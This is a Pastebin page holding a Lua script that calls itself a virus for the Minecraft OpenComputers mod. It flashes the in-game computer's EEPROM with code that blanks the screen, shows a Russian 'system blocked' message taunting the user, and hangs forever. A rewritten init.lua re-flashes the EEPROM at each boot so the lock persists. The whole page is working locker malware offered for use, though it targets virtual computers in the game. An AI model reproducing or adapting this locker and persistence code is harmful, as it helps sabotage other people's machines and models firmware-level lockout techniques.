Advertisement
Guest User

Virus for OpenComputers mod for minecraft

a guest
Jul 22nd, 2019
1,924
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.59 KB | None | 0 0
  1. local virusPath = "program"
  2. local EEPROMLabel = "EEPROM (Infected Lua BIOS)"
  3.  
  4. ------------------------------------------------------------------------------------------------------------------------
  5.  
  6. local EEPROMCode = [[
  7.  
  8. local textLines = {
  9.   "Внимание!",
  10.   "Вы стали одним из счастливых обладателей вируса на OpenComputers.",
  11.   "Он заблокировал доступ к вашему компьютеру.",
  12.   "Попытайтесь его удалить - посмотрим, что у вас выйдет.",
  13. }
  14.  
  15. local component_invoke = component.invoke
  16. function boot_invoke(address, method, ...)
  17.   local result = table.pack(pcall(component_invoke, address, method, ...))
  18.   if not result[1] then
  19.     return nil, result[2]
  20.   else
  21.     return table.unpack(result, 2, result.n)
  22.   end
  23. end
  24. ---------------------------------------------------------------
  25. local eeprom = component.list("eeprom")()
  26. computer.getBootAddress = function()
  27.   return boot_invoke(eeprom, "getData")
  28. end
  29. computer.setBootAddress = function(address)
  30.   return boot_invoke(eeprom, "setData", address)
  31. end
  32.  
  33. do
  34.   _G.screen = component.list("screen")()
  35.   _G.gpu = component.list("gpu")()
  36.   if gpu and screen then
  37.     boot_invoke(gpu, "bind", screen)
  38.   end
  39. end
  40. ---------------------------------------------------------------
  41.  
  42. local function centerText(mode,coord,text)
  43.   local dlina = unicode.len(text)
  44.   local xSize,ySize = boot_invoke(gpu, "getResolution")
  45.  
  46.   if mode == "x" then
  47.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  48.   elseif mode == "y" then
  49.     boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  50.   else
  51.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  52.   end
  53. end
  54.  
  55. local function virus()
  56.   local background, foreground = 0x0000AA, 0xCCCCCC
  57.   local xSize, ySize = boot_invoke(gpu, "getResolution")
  58.   boot_invoke(gpu, "setBackground", background)
  59.   boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  60.  
  61.   boot_invoke(gpu, "setBackground", foreground)
  62.   boot_invoke(gpu, "setForeground", background)
  63.  
  64.   local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  65.   centerText("x", y, " Система заблокирована! ")
  66.   y = y + 2
  67.  
  68.   boot_invoke(gpu, "setBackground", background)
  69.   boot_invoke(gpu, "setForeground", foreground)
  70.  
  71.   for i = 1, #textLines do
  72.     centerText("x", y, textLines[i])
  73.     y = y + 1
  74.   end
  75.  
  76.   while true do
  77.     computer.pullSignal()
  78.   end
  79. end
  80.  
  81. if gpu then virus() end
  82. ]]
  83.  
  84. local INITCode = [[
  85.  
  86. local backgroundColor = 0x262626
  87. local foregroundColor = 0xcccccc
  88.  
  89. do
  90.  
  91.   _G._OSVERSION = "OpenOS 1.5"
  92.  
  93.   local component = component
  94.   local computer = computer
  95.   local unicode = unicode
  96.  
  97.   -- Runlevel information.
  98.   local runlevel, shutdown = "S", computer.shutdown
  99.   computer.runlevel = function() return runlevel end
  100.   computer.shutdown = function(reboot)
  101.     runlevel = reboot and 6 or 0
  102.     if os.sleep then
  103.       computer.pushSignal("shutdown")
  104.       os.sleep(0.1) -- Allow shutdown processing.
  105.     end
  106.     shutdown(reboot)
  107.   end
  108.  
  109.   -- Low level dofile implementation to read filesystem libraries.
  110.   local rom = {}
  111.   function rom.invoke(method, ...)
  112.     return component.invoke(computer.getBootAddress(), method, ...)
  113.   end
  114.   function rom.open(file) return rom.invoke("open", file) end
  115.   function rom.read(handle) return rom.invoke("read", handle, math.huge) end
  116.   function rom.close(handle) return rom.invoke("close", handle) end
  117.   function rom.inits() return ipairs(rom.invoke("list", "boot")) end
  118.   function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
  119.  
  120.   local screen = component.list('screen',true)()
  121.   for address in component.list('screen',true) do
  122.     if #component.invoke(address, 'getKeyboards') > 0 then
  123.       screen = address
  124.     end
  125.   end
  126.  
  127.   -- Report boot progress if possible.
  128.   local gpu = component.list("gpu", true)()
  129.   local w, h
  130.   if gpu and screen then
  131.     component.invoke(gpu, "bind", screen)
  132.     w, h = component.invoke(gpu, "getResolution")
  133.     component.invoke(gpu, "setResolution", w, h)
  134.     component.invoke(gpu, "setBackground", backgroundColor)
  135.     component.invoke(gpu, "setForeground", foregroundColor)
  136.     component.invoke(gpu, "fill", 1, 1, w, h, " ")
  137.   end
  138.   local y = 1
  139.   local function status(msg)
  140.  
  141.  
  142.     local yPos = math.floor(h / 2)
  143.     local length = #msg
  144.     local xPos = math.floor(w / 2 - length / 2)
  145.  
  146.     component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
  147.     component.invoke(gpu, "set", xPos, yPos, msg)
  148.  
  149.     -- if gpu and screen then
  150.     --   component.invoke(gpu, "set", 1, y, msg)
  151.     --   if y == h then
  152.     --     component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
  153.     --     component.invoke(gpu, "fill", 1, h, w, 1, " ")
  154.     --   else
  155.     --     y = y + 1
  156.     --   end
  157.     -- end
  158.   end
  159.  
  160.   status("Booting " .. _OSVERSION .. "...")
  161.  
  162.   -- Custom low-level loadfile/dofile implementation reading from our ROM.
  163.   local function loadfile(file)
  164.     status("> " .. file)
  165.     local handle, reason = rom.open(file)
  166.     if not handle then
  167.       error(reason)
  168.     end
  169.     local buffer = ""
  170.     repeat
  171.       local data, reason = rom.read(handle)
  172.       if not data and reason then
  173.         error(reason)
  174.       end
  175.       buffer = buffer .. (data or "")
  176.     until not data
  177.     rom.close(handle)
  178.     return load(buffer, "=" .. file)
  179.   end
  180.  
  181.   local function dofile(file)
  182.     local program, reason = loadfile(file)
  183.     if program then
  184.       local result = table.pack(pcall(program))
  185.       if result[1] then
  186.         return table.unpack(result, 2, result.n)
  187.       else
  188.         error(result[2])
  189.       end
  190.     else
  191.       error(reason)
  192.     end
  193.   end
  194.  
  195.   status("Initializing package management...")
  196.  
  197.   -- Load file system related libraries we need to load other stuff moree
  198.   -- comfortably. This is basically wrapper stuff for the file streams
  199.   -- provided by the filesystem components.
  200.   local package = dofile("/lib/package.lua")
  201.  
  202.   do
  203.     -- Unclutter global namespace now that we have the package module.
  204.     --_G.component = nil
  205.     _G.computer = nil
  206.     _G.process = nil
  207.     _G.unicode = nil
  208.  
  209.     -- Initialize the package module with some of our own APIs.
  210.     package.preload["buffer"] = loadfile("/lib/buffer.lua")
  211.     package.preload["component"] = function() return component end
  212.     package.preload["computer"] = function() return computer end
  213.     package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
  214.     package.preload["io"] = loadfile("/lib/io.lua")
  215.     package.preload["unicode"] = function() return unicode end
  216.  
  217.     -- Inject the package and io modules into the global namespace, as in Lua.
  218.     _G.package = package
  219.     _G.io = require("io")
  220.        
  221.   end
  222.  
  223.   status("Initializing file system...")
  224.  
  225.   -- Mount the ROM and temporary file systems to allow working on the file
  226.   -- system module from this point on.
  227.   local filesystem = require("filesystem")
  228.   filesystem.mount(computer.getBootAddress(), "/")
  229.  
  230.   status("Running boot scripts...")
  231.  
  232.   -- Run library startup scripts. These mostly initialize event handlers.
  233.   local scripts = {}
  234.   for _, file in rom.inits() do
  235.     local path = "boot/" .. file
  236.     if not rom.isDirectory(path) then
  237.       table.insert(scripts, path)
  238.     end
  239.   end
  240.   table.sort(scripts)
  241.   for i = 1, #scripts do
  242.     dofile(scripts[i])
  243.   end
  244.  
  245.   status("Initializing components...")
  246.  
  247.   local primaries = {}
  248.   for c, t in component.list() do
  249.     local s = component.slot(c)
  250.     if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
  251.       primaries[t] = {address=c, slot=s}
  252.     end
  253.     computer.pushSignal("component_added", c, t)
  254.   end
  255.   for t, c in pairs(primaries) do
  256.     component.setPrimary(t, c.address)
  257.   end
  258.   os.sleep(0.5) -- Allow signal processing by libraries.
  259.   --computer.pushSignal("init") -- so libs know components are initialized.
  260.  
  261.  -- status("Initializing system...")
  262.   --require("term").clear()
  263.   os.sleep(0.1) -- Allow init processing.
  264.   runlevel = 1
  265. end
  266. ]]
  267.  
  268. local component = require("component")
  269. local args = { ... }
  270.  
  271. local function flashEEPROM()
  272.   local eeprom = component.getPrimary("eeprom")
  273.   eeprom.set(EEPROMCode)
  274.   eeprom.setLabel(EEPROMLabel)
  275. end
  276.  
  277. local function rewriteInit()
  278.   local file = io.open("init.lua", "w")
  279.   file:write(INITCode, "\n", "\n")
  280.   file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
  281.   file:write("require(\"computer\").shutdown(true)")
  282.   file:close()
  283. end
  284.  
  285. if args[1] == "flashEEPROM" then
  286.   flashEEPROM()
  287. else
  288.   flashEEPROM()
  289. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement